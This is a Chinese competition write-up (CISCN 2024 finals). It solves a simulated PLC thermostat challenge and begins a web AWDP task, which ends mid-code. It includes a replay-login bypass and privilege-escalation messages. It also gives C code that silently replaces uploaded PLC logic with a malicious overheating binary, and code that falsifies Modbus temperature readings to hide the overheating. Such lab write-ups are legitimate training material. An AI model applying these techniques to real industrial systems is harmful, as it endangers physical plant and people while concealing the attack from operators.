前言
2024.7.20-21 成都
NISA-WhySerious 位37 全国二等奖
wp参考:
https://blog.hxzzz.asia/archives/192/
https://1llustrious.github.io/2024/07/25/CISCN%E4%B9%8B%E6%97%85/#%E5%9B%BD%E5%86%B3
Build
过…过样例?
本关考验你中译中的能力(x
我就看了前两个任务,队友tql,连通俩宵ak了build
新手任务
背景应用了解
模拟工程师登录流程
在工程师用户(instance/engineer/user)目录下,编写engineer_login.msg, 填充工程师用户名与口令, 而后试运行users_login.sh,确认用户登录成功。
engineer_login.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":""
}
用json格式定义了cube架构中一个格式为(GENERAL_RETURN,STRING)的数据项,这个数据项是一个通用数据项,由两个字符串name和return_value组成:
- name用来描述数据项的类型或用途,这里name取值为login,表示该数据项用于登录
- return_value则填充该数据项具体内容,return_value的引号内则按照“用户名:口令”的方式填充内容
注:用户名和口令信息在管理中心工作目录(instance/monitor/center)里寻找
instance/monitor/center/user.list
{
"type":"USER_DEFINE",
"subtype":"SERVER_STATE"
}
{
"user_name":"zhao",
"role":"PLC_ENGINEER",
"passwd":"123",
}
{
"user_name":"qian",
"role":"PLC_OPERATOR",
"passwd":"456",
}
{
"user_name":"sun",
"role":"PLC_MONITOR",
"passwd":"123",
}
{
"user_name":"li",
"role":"PLC_ENGINEER",
"passwd":"123",
}
{
"user_name":"zhou",
"role":"PLC_OPERATOR",
"passwd":"456",
}
{
"user_name":"wu",
"role":"PLC_OPERATOR",
"passwd":"456",
}
于是填入engineer_login.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"zhao:123"
}
然后运行users_login.sh即可
模拟逻辑代码上传
在2024buildup/src/logic/thermostat_logic目录下写了一个模拟PLC行为的代码,用其源码thermostat_logic.c来模拟PLC源码,其编译后的动态库libthermostat_logic.so来模拟PLC逻辑。请在工程师用户目录编写code_upload.msg,填写正确的上传代码信息,试运行并完成代码上传功能。
instance/engineer/user/code_upload.msg
{
"type":"PLC_ENGINEER",
"subtype":"LOGIC_UPLOAD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"logic_filename":"",
"type":"FILE_CODE",
"author":"zhao",
"uploader":""
}
(PLC_ENGINEER,LOGIC_UPLOAD)
数据结构:
元素名称 | 元素类型 | 元素大小 | 信息内容 | 备注 |
---|---|---|---|---|
plc_devname | 0结尾字符串 | <=32字节 | 设备的名称 | |
logic_filename | 0结尾字符串 | <=32字节 | 代码文件的名称 | |
type | ENUM | 4字节 | 文件类型 | 使用enum_plc_file_type枚举 |
uuid | UUID | 32字节 | 代码的摘要值 | |
author | 0结尾字符串 | <=32字节 | 代码作者的名称 | |
uploader | 0结尾字符串 | <=32字节 | 上传行为执行者名称 | |
time | INT | 4字节 | 上传行为执行时间 |
修改code_upload.msg
{
"type":"PLC_ENGINEER",
"subtype":"LOGIC_UPLOAD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"logic_filename":"thermostat_logic.c",
"type":"FILE_CODE",
"author":"zhao",
"uploader":"zhao"
}
模拟二进制逻辑上传
编辑task_1_1.sh,删除对应任务的sh前面的#号,打开注释行,并在工程师用户目录下编写bin_upload.msg,填写正确的plc逻辑信息,再运行task_1_1.sh,以实现模拟的二进制逻辑上传。
bin_upload.msg
{
"type":"PLC_ENGINEER",
"subtype":"LOGIC_UPLOAD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"logic_filename":"",
"type":"",
"author":"zhao",
"uploader":"zhao"
}
先看一下type对应的枚举类型:
文件类型定义emu_plc_file_type
(位于PLC模拟操作的plc_emu.json)
枚举项名称 | 枚举数值 | 内容 | 备注 |
---|---|---|---|
FILE_CODE | 0x01 | 代码文件 | |
FILE_LOGIC | 0x02 | PLC逻辑文件 | 由对应代码文件生成 |
FILE_DESC | 0x10 | 描述文件 | 保留待以后选用 |
FILE_RULE | 0x20 | 制度文件 | 保留待以后选用 |
修改bin_upload.msg
{
"type":"PLC_ENGINEER",
"subtype":"LOGIC_UPLOAD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"logic_filename":"libthermostat_logic.so",
"type":"FILE_LOGIC",
"author":"zhao",
"uploader":"zhao"
}
模拟PLC逻辑启动
编辑task_1_1.sh,打开“启动plc设备模拟”提示后面的注释项,运行task_1_1.sh
观察plc设备工作目录instance/plc/device/下的message_log目录,发现其增加了logic_send.log文件
这里message_log目录记录的是各用例模拟运行的过程,logic_send则是在设备工作目录下配置的系统自动监控流程的模拟业务流
instance/plc/device/router_policy.cfg
主要看下半部分
{
"policy_head":
{
"name":"logic_send",
"type":"DELIVER",
"sender":"logic",
},
"MATCH_RULES":
[
{"op":"OR","type":"MODBUS_CMD"},
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"device"},
{"target_type":"LOCAL","target_name":"logic"}
]
}
}
这里用消息路由来将多个模块的功能串起来模拟业务流程:
开头部分描述了消息路由的名称、类型和起始模块
中间部分表示当消息在起始模块位置时的格式和内容信息:
当起始模块生成消息(模块中用
message_create
函数生成,且最后激活消息参数设为NULL时)与其格式要求一致时(在这里就是消息类型为MODBUS_CMD
,用来模拟modbus协议命令),会被识别为该路由的起始消息最后部分则说明消息先后通过device和logic模块后结束传递:它其实模拟了plc逻辑(用logic模块模拟)发出命令给device,由device处理后返回logic模块的过程
当系统模拟运行时,观察设备工作目录instance/plc/device中日志目录message_log中的logic_send.msg文件将显示该路由中的信息,由于该过程循环进行,因此可看到大量信息
模拟操作员登录行为
在task_1_1.sh脚本的“启动hacker”提示、“启动操作员站”提示和“执行操作员登录行为”提示后面打开被注释的命令,并编辑操作员用户工作目录下的operator_login.msg,添加操作员用户的名称和口令信息,而后进行试登录。如登录成功,则表明通过该过程。
instance/operator/user/operator_login.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":""
}
和工程师登录一样,在return_value
添加用户名:口令
,用户要选择user.list里"role":"PLC_OPERATOR"
的
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"qian:456"
}
模拟操作员的一组plc操作
打开task_1_1.sh最后几条注释掉的命令,然后,修改操作员用户工作目录下的plc_start.msg , plc_read_t.msg和plc_set_t.msg,分别实现打开plc温度调节开关,观察plc当前环境温度以及将plc恒温温度设置为39度(3900)的目标
instance/operator/user/plc_start.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ON",
"action_desc":"",
"value":0,
"plc_operator":"qian",
}
instance/operator/user/plc_read_t.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"",
"action_desc":"",
"plc_operator":"qian",
}
instance/operator/user/plc_set_t.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"",
"action_desc":"",
"value":0,
"plc_operator":"qian"
}
看一下(PLC_OPERATOR,PLC_CMD)
数据结构的定义:
元素名称 | 元素类型 | 元素大小 | 信息内容 | 备注 |
---|---|---|---|---|
plc_devname | 0结尾字符串 | <=32字节 | 设备的名称 | |
action | ENUM | 4字节 | 操作员的行为 | 使用enum_plc_operator_action |
action_desc | 0结尾字符串 | <=32字节 | 操作员行为描述 | 使用寄存器名称进行描述 |
value | INT | 4字节 | 寄存器设置的值 | |
plc_operator | 0结尾字符串 | <=32字节 | 操作者的名称 | |
time | INT | 4字节 | 操作时间 |
看一下操作员操作类型定义 enum_plc_operator_action
(位于plc_emu.json)
枚举项名称 | 枚举数值 | 内容 | 备注 |
---|---|---|---|
ACTION_ON | 0x01 | 开启操作 | |
ACTION_OFF | 0x02 | 关闭操作 | |
ACTION_MONITOR | 0x03 | 监视操作 | 读取寄存器信息 |
ACTION_ADJUST | 0x04 | 设置操作 | 调节恒温设置、档位设置 |
再看一下PLC设备寄存器设计:
寄存器名称 | 寄存器类型 | 寄存器地址 | 寄存器内容 | 备注 |
---|---|---|---|---|
device_S | coil | 1 | 恒温箱开关 | 0为关闭,1为启动 |
set_T | Holding Registers | 40003 | 恒温数值要求 | 短整型 |
curr_T | Input Registers | 30004 | 恒温箱当前温度 | 短整型 |
heating_S | Coil | 2 | 电热丝开关 | 0为关,1为制热 |
heating_G | Holding Registers | 40005 | 电流档位 | 0-9档 |
修改plc_start.msg,打开plc温度调节开关(这里最逆天的是要开的是电热丝)
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ON",
"action_desc":"heating_S",
"value":1,
"plc_operator":"qian",
}
修改plc_read_t.msg,观察plc当前环境温度
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"MONITOR",
"action_desc":"curr_T",
"plc_operator":"qian",
}
修改plc_set_t.msg,将plc恒温温度设置为39度(3900)
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ADJUST",
"action_desc":"set_T",
"value":3900,
"plc_operator":"qian"
}
身份认证安全测试
中间人攻击
系统在工程师站engineer_station和管理中心center之间插入了一个
login_hacker
实例,用该实例来模拟攻击行为。当前实例中使用了一个echo_plugin
模块,该模块只是简单地转发收到的消息,不会产生攻击行为。
某攻击者开发了一个重放攻击模块
login_hacker
,该模块可以记录登录用户的名称与所使用的认证口令,如果攻击者使用登录过的用户名进行登录,并且在口令处使用攻击者预设的口令,则模块将自动使用以前记录的口令进行登录。
请用login_hacker模块替换echo_plugin模块,并且正确填写工程师用户目录下的engineer_login_nopass.msg,使攻击者可以在没有工程师用户口令的情况下在工程师站仿冒工程师进行登录。
cube架构的实例将准备使用的模块列在plugin_config.cfg文件中,每个选用的模块都有两个名字:
name表示实例中该模块的名称,在定义路由时使用这个名字,这个名字一般与模块在实例中的使用方式相关。
libname则是该模块开发时使用的名字,这个名字一般表现了开发者对其的定位。这里
echo_plugin
和login_hacker
都是libname
因为task_1_2.sh
中的运行命令为:yes | cp -a instance/login_hacker/plugin_config.cfg.task_1_2 instance/login_hacker/plugin_config.cfg
,所以我们只需要修改 plugin_config.cfg.task_1_2 的 libname 即可
修改后的plugin_config.cfg.task_1_2:
{
"name":"login_hacker",
"libname":"login_hacker"
}
login_hacker模块的源码在 2024buildup/src/security 下面的某个同名目录中,以c语言编写,阅读其源码,可以找到所用的预设口令
src/security/login_hacker/login_hacker.c
可知口令在这里是static char security_pass[32] = "Tclab2024";
,即Tclab2024
拿到口令之后,修改 instance/engineer/user/engineer_login_nopass.msg,在口令处使用攻击者预设的口令
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"zhao:Tclab2024"
}
验证:
可以看到第二次的时候成功登录
此外,也可以顺便了解下cube架构中模块的逻辑。cube架构的模块其结构比较清晰:
一般用
一个模块名+init的函数(称为模块的init函数)
进行模块载入时的初始化操作用
一个模块名+start的函数(称为模块的start函数)
作为模块的主体,持续进行循环,每次循环检查模块接收到的消息并进行处理。start函数根据消息的格式分流消息,让每种消息调用自己的专用操作函数。如果模块的几个处理流程共用同一种消息格式,则一般在消息处理函数中获取消息后,再根据消息内容进行第二次分流,一般而言,每个流程都有自己专门的处理函数
挑战-应答机制
为了防范中间人攻击,我们准备用挑战-应答机制来替换掉当前使用的口令字符串哈希的认证机制。当前使用的用户端登录处理模块
login_user
和服务端登录处理模块login_server
本身就具备了支持挑战-应答机制的能力。请正确配置参数和路由,实现挑战-应答机制,以防范重放攻击行为
在 plugin_config.cfg 中定义模块时,可以使用init_para
参数来为模块提供一些配置信息
配置信息的定义一般在模块的定义文件cfg中。如 login_user.cfg 中给出了init_para_desc
的定义,定义中用mode值来表示模块采用哪一种登录机制。
plugin/login_user.cfg
{
"libname":"login_user",
"type":"MONITOR",
"dynamic_lib":"liblogin_user.so",
"init":"login_user_init",
"start":"login_user_start",
"init_para_desc":{
"elem_no":1,
"elem_desc":
[
{"name":"mode","type":"INT"}
]
}
}
plugin模块定义时,可以用"init_para":{"mode":1}
来表示模块选择了模式1
请通过阅读源码确定哪种模式是挑战应答模式,并在plugin_config.cfg中正确配置
直接全局搜索找到相关的代码
src/system/login_user/login_user.c
可知是模式2,那么plugin_config.cfg.task_1_3:
{
"name":"msg_send",
"libname":"msgfile_send",
}
{
"name":"msg_print",
"libname":"msgrecord_print",
}
{
"name":"file_dealer",
"libname":"file_dealer"
}
{
"name":"login_user",
"libname":"login_user",
"init_para":{
"mode":2
}
}
{
"name":"logic_upload",
"libname":"logic_upload"
}
挑战-应答机制中,用户和服务器之间会进行两次交互,而旧的消息路由只提供了一次交互流程,需要重新配置认证流程
旧的身份认证流程是用login路由来认证的,它由engineer/user,engineer/station和monitor_center中定义的login路由相互连接而形成,类型为QUERY,表示该路由为登录后返回的过程。
而在支持挑战-应答机制时,login_user在收到返回消息后,会生成状态为CHALLENGE格式的登录消息,这个消息将再次发送到server端并完成登录行为。
我们把工程师站login_user收到用户登录消息后,发送消息给管理中心login_server,并获得挑战信息的过程看做是插入到原有登录过程中的新过程,就可以使用cube架构中的切面路由机制。
这个机制定义的路由一般放在aspect_policy.cfg中,选项可定为ASPECT,是指在原路由中插入了一段处理过程,处理过程完成后回到原本路由。 用路由图来描述则如下所示:
切面路由将有自己的新名称,这里我们将新的切面路由命名为 challenge_login,在管理中心的路由配置文件中定义,可以把它当作是由切入点开始的QUERY格式路由(询问模式,发出消息抵达目标后原路返回),最终回到切入点,再重新执行原流程。
instance/engineer/station/aspect_policy.cfg
{
"policy_head":
{
"name":"login",
"type":"ASPECT",
"sender":"login_user",
"ljump": 2,
"rjump":-2,
"newname":"challenge_login"
},
"MATCH_RULES":
[
{
"op":"AND","type":"USER_DEFINE","subtype":"LOGIN"
}
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"CONN","target_name":"center_client"},
]
"response_policy":[
{"target_type":"LOCAL","target_name":"login_user"}
]
}
}
policy_head
:拦截位置name
:被拦截路由type
有两种取值:复制(
DUP
)表示从原路由复制信息,不改变原路由传输方式拦截(
ASPECT
)则是让原路由转去新路由进行处理,完成处理后无异常情况则返回原路由途径ljump
表示是在本地路由的第几跳(生成/收到消息为第1跳,经过一个模块增加1跳,sender
表示路由的发送者,这两个共同定义了路由的起始位置。rjump
是一个准备被废弃或替代的参数,在这里的唯一作用是用负值表示拦截的是返回信息。newname
则表示复制或拦截路由所在的新路由名称,这里复制路由上的消息将沿着新路由传播,而拦截路由上的消息则在完成新路由并返回后,重新进入原路由,沿着拦截点继续传播。MATCH_RULES
中的内容表示切面触发时消息要满足的条件,ROUTE_RULES
则指消息在新路由中传播的路径。这里的路由可以指向其它实例,在其它实例中与其对接的路由应当是与新路由名称一致的DELIVER格式路由(与DUP格式切面路由对接)或QUERY格式路由(与ASPECT格式路由对接)。
aspect_policy.cfg.task_1_3:直接复制./instance/engineer/station/plugin_config.cfg
文件的内容就行,拦截-转发逻辑是预先写好的
攻击模拟任务
越权访问
本过程由用户测试系统中可以进行越权访问的位置
本系统中,工程师、操作员和系统监视员除可执行规定允许的操作外,还有如下限制:
- 工程师可以登录操作员站和管理终端,但只能观察数据,不能执行调节温度等控制行为。
- 操作员可以登录管理终端,但只能观察数据,不能在监视终端执行调节温度等控制行为。
- 监视员可以登录操作员站,但只能观察数据,不能在监视终端执行调节温度等控制行为。
- 操作员和监视员均可登录工程师站,但不能执行代码上传和逻辑上传命令。
请在工程师站、操作员站和监视终端进行测试,找到可以违规操作的点
控制行为用调节温度到39度代表,参考操作员用户目录下的plc_set_t.msg
上传命令则用代码上传代表,参考工程师用户目录下的code_upload.msg
在工程师站、操作员站和管理终端各找到两个可违规操作点,按照下表创建违规登录与操作的组合消息:
位置 | 编号 | 登录(使用非合规用户) | 操作(非合规用户执行违规操作) | 备注 |
---|---|---|---|---|
工程师用户 | 违规点1 | attack_login1.msg | attack_cmd1.msg | |
违规点2 | attack_login2.msg | attack_cmd2.msg | ||
操作员用户 | 违规点3 | attack_login3.msg | attack_cmd3.msg | |
违规点4 | attack_login4.msg | attack_cmd4.msg | ||
监视员用户 | 违规点5 | attack_login5.msg | attack_cmd5.msg | |
违规点6 | attack_login6.msg | attack_cmd6.msg |
对上面的描述进行阅读理解,形成一个表格(byd这几句话真给我cpu干烧了)
登录操作员站 | 登录监视终端 | 登录工程师站 | 操作员站调节温度 | 监视终端调节温度 | 代码上传和逻辑上传 | |
---|---|---|---|---|---|---|
工程师 | √ | √ | √ | √ | ||
操作员 | √ | √ | √ | √ | ||
监视员 | √ | √ | √ | √ |
那么,违规的情况就是:
工程师站:
- 操作员执行文件上传
- 监视员执行文件上传
操作员站:
- 工程师执行调节温度
- 监视员执行调节温度
监视终端:
- 操作员执行调节温度
- 工程师执行调节温度
于是就能开始改文件了,用户名见user.list
attack_login1.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"qian:456"
}
attack_cmd1.msg
{
"type":"PLC_ENGINEER",
"subtype":"LOGIC_UPLOAD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"logic_filename":"thermostat_logic.c",
"type":"FILE_CODE",
"author":"qian",
"uploader":""
}
attack_login2.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"sun:123"
}
attack_cmd2.msg
{
"type":"PLC_ENGINEER",
"subtype":"LOGIC_UPLOAD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"logic_filename":"thermostat_logic.c",
"type":"FILE_CODE",
"author":"sun",
"uploader":""
}
attack_login3.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"sun:123"
}
attack_cmd3.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ADJUST",
"action_desc":"set_T",
"value":3900,
"plc_operator":"sun"
}
attack_login4.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"zhao:123"
}
attack_cmd4.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ADJUST",
"action_desc":"set_T",
"value":3900,
"plc_operator":"zhao"
}
attack_login5.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"zhao:123"
}
attack_cmd5.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ADJUST",
"action_desc":"set_T",
"value":3900,
"plc_operator":"zhao"
}
attack_login6.msg
{
"type":"GENERAL_RETURN",
"subtype":"STRING",
"mode":"INT"
}
{
"name":"login",
"return_value":"qian:456"
}
attack_cmd6.msg
{
"type":"PLC_OPERATOR",
"subtype":"PLC_CMD",
"mode":"INT"
}
{
"plc_devname":"thermostat",
"action":"ADJUST",
"action_desc":"set_T",
"value":3900,
"plc_operator":"qian"
}
恶意逻辑
本任务显示攻击者通过用恶意逻辑替代正常逻辑对系统进行攻击的行为。
在logic/hack_logic
中,设置了恶意的温度逻辑,在10秒后将始终保持设置温度档位为最高档。这里hack_logic没有列在security的makefile中,需要单独编译,编译后,我们可以看到目录下会出现一个 libthermostat_logic.so 文件,这个文件是用来冒充合法逻辑的恶意逻辑文件。
请为
file_replace
模块填充文件替换代码,并通过修改模块配置文件和切面路由文件,拦截工程师站到plc的二进制逻辑文件传输过程(bin_upload路由),使得file_replace模块在合适位置发挥作用,将所传输的libthermostat_logic.so文件内容替换为hack_logic目录下的同名文件,从而导致系统运行一段时间后温度失控。
可以用task_2_2_1.sh
脚本测试二进制逻辑上传过程,用task_2_2_2.sh
脚本测试逻辑运行情况,该脚本启动后会5秒读一次温度状况,重复四次。
本题需要修改三个文件:
file_replace.c
:在收到二进制逻辑传输命令后,将正常逻辑替换成hack_logic目录下的恶意逻辑plugin_config.cfg.task_2_2
:在配置文件中添加file_replace模块aspect_policy.cfg.task_2_2
:在bin_upload
传输过程中插入file_replace
模块,使其可以在上传代码时用hack_logic中恶意逻辑替换合法逻辑
涉及到两个模块需要接触
file_replace
:2024buildup/src/security/file_replace
,需要编写file_replace.c
做到自动替换恶意模块hack_logic
:2024buildup/src/logic/hack_logic
手册的可读性太差,直接跑一个task_2_2_1.sh看看其日志文件再对着改
观察src/system/logic_upload/logic_upload.c的行为,看看是否有攻击的切入点
在这个地方完成了文件的复制,然后再也没管过,也没有任何的校验措施。后续是连着文件名一起发了过去的,如果能对这个文件名指向的文件进行覆写应该就能成了
src/security/file_replace/file_replace.c
int bin_file_replace(void * sub_proc,void * recv_msg)
{
int type;
int subtype;
int i;
int ret;
RECORD(PLC_ENGINEER,LOGIC_UPLOAD) * bin_upload;
ret=message_get_record(recv_msg,&bin_upload,0);
if(ret<0)
return ret;
// 在这里添加文件替换代码
void* c=message_clone(recv_msg);
RECORD(PLC_ENGINEER,LOGIC_UPLOAD) * logic_upload;
RECORD(PLC_ENGINEER,LOGIC_CODE) * logic_code;
RECORD(PLC_ENGINEER,LOGIC_BIN) * logic_bin;
RECORD(PLC_ENGINEER,LOGIC_RETURN) * logic_return;
MSG_EXPAND * msg_expand;
message_get_record(c,&logic_upload,0);
message_remove_expand(c,TYPE_PAIR(PLC_ENGINEER,LOGIC_BIN),&msg_expand);
logic_bin = msg_expand->expand;
puts(logic_upload->plc_devname);
char* s=(char*)malloc(100);
char* dic="0123456789abcdef";
for(int i=0; i<DIGEST_SIZE; ++i){
s[i<<1]=dic[(logic_upload->uuid[i]&0xf0)>>4];
s[(i<<1)|1]=dic[logic_upload->uuid[i]&0xf];
}
s[DIGEST_SIZE<<1]=0;
puts(s);
int fsrc=open("/root/2024buildup/src/logic/hack_logic/libthermostat_logic.so",O_RDONLY);
char* fn=(char*)malloc(100);
Strcpy(fn,"logic_bin/");
Strcat(fn,s);
int fdst=open(fn,O_WRONLY);
unsigned char* buf=(unsigned char*)calloc(DIGEST_SIZE<<5,1);
int len=read(fsrc,buf,DIGEST_SIZE<<5);
while(len>0){
ret=write(fdst,buf,len);
if(len<(DIGEST_SIZE<<5))break;
len=read(fsrc,buf,DIGEST_SIZE<<5);
}
close(fsrc);
close(fdst);
free(s);
free(fn);
free(buf);
//文件替换代码结束
ex_module_sendmsg(sub_proc,recv_msg);
return ret;
}
然后是撰写路由规则。plugin里面只需要把模块加进去即可。路由规则的话,直接跑一遍脚本然后看日志,决定在哪里搞切面。
instance/engineer/station/plugin_config.cfg.task_2_2
{
"name":"msg_send",
"libname":"msgfile_send",
}
{
"name":"msg_print",
"libname":"msgrecord_print",
}
{
"name":"file_dealer",
"libname":"file_dealer"
}
{
"name":"login_user",
"libname":"login_user",
"init_para":{
"mode":1
}
}
{
"name":"logic_upload",
"libname":"logic_upload"
}
{
"name":"file_replace",
"libname":"file_replace"
}
instance/engineer/station/aspect_policy.cfg.task_2_2
{
"policy_head":
{
"name":"login",
"type":"ASPECT",
"sender":"login_user",
"ljump": 2,
"rjump":-2,
"newname":"challenge_login"
},
"MATCH_RULES":
[
{
"op":"AND","type":"USER_DEFINE","subtype":"LOGIN"
}
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"CONN","target_name":"center_client"},
]
"response_policy":[
{"target_type":"LOCAL","target_name":"login_user"}
]
}
}
{
"policy_head":
{
"name":"bin_upload",
"type":"ASPECT",
"ljump": 2,
"rjump": 2,
"newname":"filereplace"
},
"MATCH_RULES":
[
{
"op":"AND","type":"PLC_ENGINEER","subtype":"LOGIC_UPLOAD"
}
],
"ROUTE_RULES":
{
"main_policy":[
{"target_type":"LOCAL","target_name":"file_replace"}
]
}
}
跑验证脚本看看
上传逻辑没问题
温度上升,攻击成功
modbus数据监听与篡改
本任务演示对modbus协议数据的攻击行为,选手需要对modbus协议有基础的了解。
在modbus_hacker实例中,modbus_monitor模块接入到modbus主设备和从设备的通信线路中,准备窃听当前温度。窃听温度后不必输出,当温度超过43度时,模块应篡改回传的温度数值,使操作员和监视员看到的温度始终低于43度。
可以用operator_start.sh脚本观察modbus协议的输入输出,modbus_hacker实例的modbus_monitor
模块会打印协议的输入输出信息。注意后续实验时,为测试访控和加密效果,modbus_monitor模块建议改回原版模块。
本题需要修改一个源码文件modbus_monitor.c
:执行modbus协议数据窃听modbus协议温度数值并进行篡改攻击
核心效果,就是当温度高于43度的时候,将数据篡改为低于43度,以实现对温度监控的破坏
在本地运行operator_start.sh
,获得一组用于分析的数据:
get modbus data 12 bytes from client!
01 00 00 00 00 06 01 05 02 00 00 ff
get modbus data 12 bytes from server!
01 00 00 00 00 06 01 05 02 00 00 ff
{
"plc_devname":"thermostat","action":"ON","action_desc":"heating_S","value":65280
,"result":0,"time":0}
get modbus data 12 bytes from client!
02 00 00 00 00 06 01 04 34 75 01 00
get modbus data 11 bytes from server!
02 00 00 00 00 05 01 04 02 8c 10
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"curr_T","value":423
6,"result":0,"time":0}
get modbus data 12 bytes from client!
03 00 00 00 00 06 01 06 43 9c 3c 0f
get modbus data 12 bytes from server!
03 00 00 00 00 06 01 06 43 9c 3c 0f
{
"plc_devname":"thermostat","action":"ADJUST","action_desc":"set_T","value":3900,
"result":0,"time":0}
target T is 3900!
exit the proc!
get modbus data 12 bytes from client!
04 00 00 00 00 06 01 04 34 75 01 00
get modbus data 11 bytes from server!
04 00 00 00 00 05 01 04 02 9d 13
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"curr_T","value":502
1,"result":0,"time":0}
get modbus data 12 bytes from client!
05 00 00 00 00 06 01 03 45 9c 01 00
get modbus data 11 bytes from server!
05 00 00 00 00 05 01 03 02 09 00
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"heating_G","value":
9,"result":0,"time":0}
exit the proc!
get modbus data 12 bytes from client!
06 00 00 00 00 06 01 04 34 75 01 00
get modbus data 11 bytes from server!
06 00 00 00 00 05 01 04 02 12 1c
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"curr_T","value":718
6,"result":0,"time":0}
get modbus data 12 bytes from client!
07 00 00 00 00 06 01 03 45 9c 01 00
get modbus data 11 bytes from server!
07 00 00 00 00 05 01 03 02 09 00
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"heating_G","value":
9,"result":0,"time":0}
exit the proc!
get modbus data 12 bytes from client!
08 00 00 00 00 06 01 04 34 75 01 00
get modbus data 11 bytes from server!
08 00 00 00 00 05 01 04 02 b3 1e
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"curr_T","value":785
9,"result":0,"time":0}
get modbus data 12 bytes from client!
09 00 00 00 00 06 01 03 45 9c 01 00
get modbus data 11 bytes from server!
09 00 00 00 00 05 01 03 02 09 00
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"heating_G","value":
9,"result":0,"time":0}
exit the proc!
get modbus data 12 bytes from client!
0a 00 00 00 00 06 01 04 34 75 01 00
get modbus data 11 bytes from server!
0a 00 00 00 00 05 01 04 02 c2 1f
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"curr_T","value":813
0,"result":0,"time":0}
get modbus data 12 bytes from client!
0b 00 00 00 00 06 01 03 45 9c 01 00
get modbus data 11 bytes from server!
0b 00 00 00 00 05 01 03 02 09 00
{
"plc_devname":"thermostat","action":"MONITOR","action_desc":"heating_G","value":
9,"result":0,"time":0}
exit the proc!
与上文的比对,可以得到温度数据curr_T
应该由server端
得到,改变的为Buf[9]
和Buf[10]
两个部分
modbus data from server | Buf[9], Buf[10] | curr_T value |
---|---|---|
02 00 00 00 00 05 01 04 02 8c 10 | 8c 10 | 4236 |
04 00 00 00 00 05 01 04 02 9d 13 | 9d 13 | 5021 |
06 00 00 00 00 05 01 04 02 12 1c | 12 1c | 7186 |
08 00 00 00 00 05 01 04 02 b3 1e | b3 1e | 7859 |
0a 00 00 00 00 05 01 04 02 c2 1f | c2 20 | 8130 |
观察发现是小端存储,写一个检测
src/security/modbus_monitor/modbus_monitor.c
// 窃取数据和篡改数据的位置开始
if(Buf[7] == 0x04){
int temperature = (Buf[10] << 8) | Buf[9];
if (temperature >= 4300){
Buf[10] = 0x10;
Buf[9] = 0x68;
}
}
//窃取数据和篡改数据的位置结束
重新编译,然后执行验证脚本
温度稳定显示在4200
访问控制模拟任务
后面两题交给队友了,我开摆(
角色验证
角色权限限制
密码保护模拟任务
CTF
day1可信计算
day2车联网+工控
因为都没接触过所以这部分全交给队友们来做
AWDP
被定式思维害了,第6轮开始我才修好js,按理来说15次提交机会上来就应该waf拉满赌一赌的
@chen那边也是修二打一,真厉害(川腔
Web
ezjs
预期
break遗憾四血
const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs');
const path = require("path");
function createDirectoriesForFilePath(filePath) {
const dirname = path.dirname(filePath);
fs.mkdirSync(dirname, { recursive: true });
}
function IfLogin(req, res, next){
if (req.session.user!=null){
next()
}else {
res.redirect('/login')
}
}
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
},
filename: function (req, file, cb) {
// 直接使用原始文件名
cb(null, file.originalname);
}
});
// 配置 multer 上传中间件
const upload = multer({
storage: storage, // 使用自定义存储选项
fileFilter: (req, file, cb) => {
const fileExt = path.extname(file.originalname).toLowerCase();
if (fileExt === '.ejs') {
